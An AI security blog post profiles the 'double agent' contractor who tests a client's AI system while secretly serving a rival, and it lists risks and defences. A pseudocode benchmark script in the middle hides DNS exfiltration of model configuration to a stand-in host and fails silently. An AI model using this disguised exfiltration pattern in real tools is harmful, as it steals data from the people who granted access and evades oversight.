0.11.4 Double agents – serving multiple clients simultaneously

2025.10.06.
AI Security Blog

The concept of a double agent is as old as espionage itself. In the realm of cyber and AI security, this threat actor takes the form of a mercenary who accepts contracts from two or more opposing parties, leveraging the access and information gained from one to fulfill the objectives of another. They operate within a grey zone of conflicting loyalties, motivated purely by profit or strategic positioning.

The Anatomy of a Double Agent Operation

Unlike a typical hacker-for-hire who executes a single contract, the double agent’s value lies in their privileged access. They get hired by one entity—let’s call them the “Access Client”—for a legitimate-seeming purpose, such as a security audit, penetration test, or even AI model red teaming. Simultaneously, they maintain a covert contract with another entity—the “Beneficiary Client”—who is often a direct competitor or adversary of the first.

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This dual role creates a devastating conflict of interest. The trust extended by the Access Client becomes the primary weapon used against them.

Diagram illustrating the information flow in a double agent scenario involving AI systems. Client A (“Access Client”) (e.g., AI Healthcare Startup) Client B (“Beneficiary”) (e.g., Competing Pharma Corp) Grey Hat Mercenary (Double Agent) 1. Legitimate Contract “Red Team our model” 2. Covert Contract “Steal their model weights” 3. Betrayal & Exfiltration Proprietary data, vulnerabilities

Specific Risks for AI Systems

When the target asset is an AI system, the double agent’s potential for damage multiplies. They can exploit their trusted position to inflict harm that is subtle, profound, and difficult to attribute.

Risk Vector Double Agent’s Action Impact on the “Access Client”
Model Intellectual Property Theft While under contract to perform security testing, the agent exfiltrates model weights, architecture details, or unique training datasets. Loss of competitive advantage. The Beneficiary Client can replicate the model, saving millions in R&D.
Strategic Vulnerability Insertion Hired to “harden” an AI system, the agent introduces a subtle, undocumented backdoor or data poisoning vulnerability. The system appears secure but contains a critical flaw known only to the agent and their Beneficiary Client, who can exploit it at will.
Red Team Sabotage The agent conducts a red team exercise but deliberately downplays or omits critical findings in their report to the Access Client, while selling the full details to the Beneficiary. A false sense of security. The organization believes its defenses are robust while a competitor holds the keys to its weaknesses.
Inference-as-a-Service Abuse Given API keys for testing, the agent uses the access to run massive amounts of inference queries on behalf of the Beneficiary, effectively stealing compute and model utility. Financial loss from compute costs and unauthorized commercial use of the AI service.

A Covert Exfiltration Technique

A double agent must mask their malicious activities within the scope of their legitimate work. Imagine a mercenary hired to conduct load testing on a new Large Language Model (LLM). Their cover story is to measure response times and identify bottlenecks. Their real objective is to steal the model’s architecture or fine-tuning data.

They could write a script that appears to be a standard benchmark test but contains a hidden data exfiltration payload.

# Pseudocode: Hiding data exfiltration within a "benchmark" script

def run_llm_benchmark(api_key, prompt_list):
    # Legitimate task: measure performance
    print("Starting benchmark...")
    latencies = []
    for prompt in prompt_list:
        start_time = time.now()
        model.query(prompt, api_key)
        latencies.append(time.now() - start_time)
    
    # MALICIOUS PAYLOAD
    # This part is hidden from the client
    try:
        # Access internal function to get model configuration
        # This access was granted for "debugging performance issues"
        config_data = model.get_internal_config()
        
        # Encode the config data as a series of seemingly random characters
        encoded_config = base64.encode(json.dumps(config_data))

        # Exfiltrate the data by making it a subdomain in a DNS query,
        # which is often less scrutinized than direct HTTP traffic.
        # e.g., "ajk...xyz.leaked-data.beneficiary.com"
        dns.query(f"{encoded_config}.leaked-data.beneficiary.com")

    except Exception as e:
        # Fail silently to avoid detection
        pass

    print(f"Benchmark complete. Average latency: {avg(latencies)}")
    return avg(latencies)

The Insider Threat Amplified

The double agent represents one of the most challenging threat actor profiles to defend against. They are not an external attacker trying to breach your perimeter; they are an invited guest with legitimate credentials and a deep understanding of your systems. Their attacks blend in with normal, authorized activity, making detection incredibly difficult without stringent monitoring and a zero-trust mindset applied to all third-party contractors.

Defensive Strategies

Protecting your AI assets from a double agent requires moving beyond technical controls and implementing rigorous operational security procedures.

  • Extreme Vetting: Conduct deep background checks on any third-party security firms or individual contractors. Look for established reputations, references, and a history of ethical conduct.
  • Principle of Least Privilege: Grant contractors the absolute minimum level of access required to perform their duties. Access should be time-bound and expire automatically. Avoid giving permanent or overly broad permissions.
  • Compartmentalization: Isolate the testing environment from production systems and sensitive data. If a contractor needs to test a model, provide them with a replica, not the production instance.
  • Mandatory Supervision and Logging: Assign an internal security team member to supervise the contractor’s work. Log every action, command, and API call they make. Use automated alerting for anomalous behavior, such as large data queries or access to out-of-scope files.
  • Ironclad Contracts: Work with legal counsel to draft contracts with explicit clauses against conflicts of interest, robust non-disclosure agreements (NDAs), and severe financial and legal penalties for any breach of trust.

Ultimately, when you hire an external entity to test your security, you are placing immense trust in them. The double agent threat actor is a stark reminder that this trust must be continuously verified, not blindly given.